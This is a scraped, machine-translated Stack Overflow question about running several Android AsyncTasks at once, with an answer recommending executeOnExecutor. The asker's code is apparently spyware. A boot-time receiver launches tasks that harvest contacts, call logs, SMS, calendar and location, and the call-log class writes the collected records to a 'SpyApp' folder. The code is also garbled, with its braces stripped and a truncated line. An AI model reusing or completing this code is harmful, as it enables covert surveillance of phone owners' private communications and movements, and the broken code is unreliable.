我可以添加多个 AsyncTask 并同时执行吗?
Posted
技术标签:
【中文标题】我可以添加多个 AsyncTask 并同时执行吗?【英文标题】:Can I add more than one AsyncTask and execute simultaneously? 【发布时间】:2014-06-28 00:10:22 【问题描述】:我可以从主要活动开始执行多个这样的异步任务。
公共类接收器扩展广播接收器
@SuppressWarnings("deprecation")
@Override
public void onReceive(Context context, Intent intent)
// TODO Auto-generated method stub
Log.e("Hello>>", "From OnReceive");
if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED))
Log.e("Hello......>>", "From OnReceive");
MyContactsSending mycon= new MyContactsSending(context);
mycon.execute();
Log.e("contacts","Executed");
MyCallsSending send = new MyCallsSending(context);
send.execute();
Log.e("calls","Executed");
MySmsSending smssms = new MySmsSending(context);
smssms.execute();
Log.e("sms","Executed");
MyCalendarSending calendar = new MyCalendarSending(context);
calendar.execute();
Log.e("calendar","Executed");
MyLocationSending location = new MyLocationSending(context);
location.execute();
Log.e("GPS","Executed");
在这段代码中,我得到了所有的日志,但之后它不会进入 Asynctask 的 doInBackground() 方法。(没有)。 我在每个类的方法 doInBackground() 中设置了 Log,但没有一个在 Log 中命中(意味着没有执行该方法)。
我的问题是我可以像这样执行多个 AsyncTask 的对象吗?
我的 AsyncTask 类的代码之一是这样的:
公共类 MyCallsSending 扩展 AsyncTask
Context concall;
public MyCallsSending(Context con)
this.concall = con;
@Override
protected Void doInBackground(Void... params)
// TODO Auto-generated method stub
Calls call = new Calls(concall);
call.getCallDetails();
Log.e("Calls Sending", "from asynctask");
return null;
Calls 类的代码是这样的:
公共类调用
Context con;
public calls(Context con)
this.con = con;
public void getCallDetails()
StringBuffer sb = new StringBuffer();
Cursor managedCursor = con.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
null, null, null);
if (managedCursor != null)
Log.i("Cursor has values...", "Yes");
int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
sb.append("************Call Details************\n");
managedCursor.moveToFirst();
do
String phNumber = managedCursor.getString(number);
String callType = managedCursor.getString(type);
String callDate = managedCursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = managedCursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);
switch (dircode)
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;
Log.i("Values", phNumber + callType + callDate);
sb.append("\nPhone Number:- " + phNumber + " \nCall Type:- " + dir
+ " \nCall Date:- " + callDayTime
+ " \nCall duration in sec :- " + callDuration);
sb.append("\n-----------------------------------");
while (managedCursor.moveToNext());
managedCursor.close();
try
File myFile = new File(Environment.getExternalStorageDirectory()
+ File.separator + "SpyApp");
if (!myFile.exists())
myFile.mkdir();
else
//Toast.makeText(getApplicationContext(), "Already Created..",
// Toast.LENGTH_LONG).show();
String path = myFile.getPath();
//Log.e(">>>>>>>>>>>>>", ">>>>>>>>>" + path);
File file = new File(path + File.separator + "CallLog.txt");
if (!file.exists())
file.createNewFile();
else
//Toast.makeText(getApplicationContext(), "Already Created..",
// Toast.LENGTH_LONG).show();
FileOutputStream fOut = new FileOutputStream(file);
OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);
myOutWriter.append(sb.toString());
myOutWriter.flush();
myOutWriter.close();
fOut.close();
//Toast.makeText(getBaseContext(), "Done writing SD 'mysdfile.txt'",
// Toast.LENGTH_SHORT).show();
catch (Exception e)
//Toast.makeText(getBaseContext(), e.getMessage(), Toast.LENGTH_SHORT)
// .show();
【问题讨论】:
你能贴出你的 AsyncTasks 的代码吗? 【参考方案1】:短版:当然可以!
AsyncTask 默认在串行队列中执行(一个接一个),但如果您希望它们同时运行,您可以:
new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, MY_RANDOM_VAR);
从 HONEYCOMB 开始,任务在单个线程上执行,以避免并行执行导致的常见应用程序错误。如果你真的想要并行执行,你可以使用 THREAD_POOL_EXECUTOR 调用 executeOnExecutor(java.util.concurrent.Executor, Object[])。 AsyncTask on android's Documentation
在使用并行线程时要小心,不要让设备过载而导致应用被终止。
【讨论】:
感谢您的回答,当我应用此方法时出现此错误 AsyncTask以上是关于我可以添加多个 AsyncTask 并同时执行吗?的主要内容,如果未能解决你的问题,请参考以下文章
Android 对线程封装了:AsyncTask, HandlerThread和线程池。 有知道这三个如何选择吗?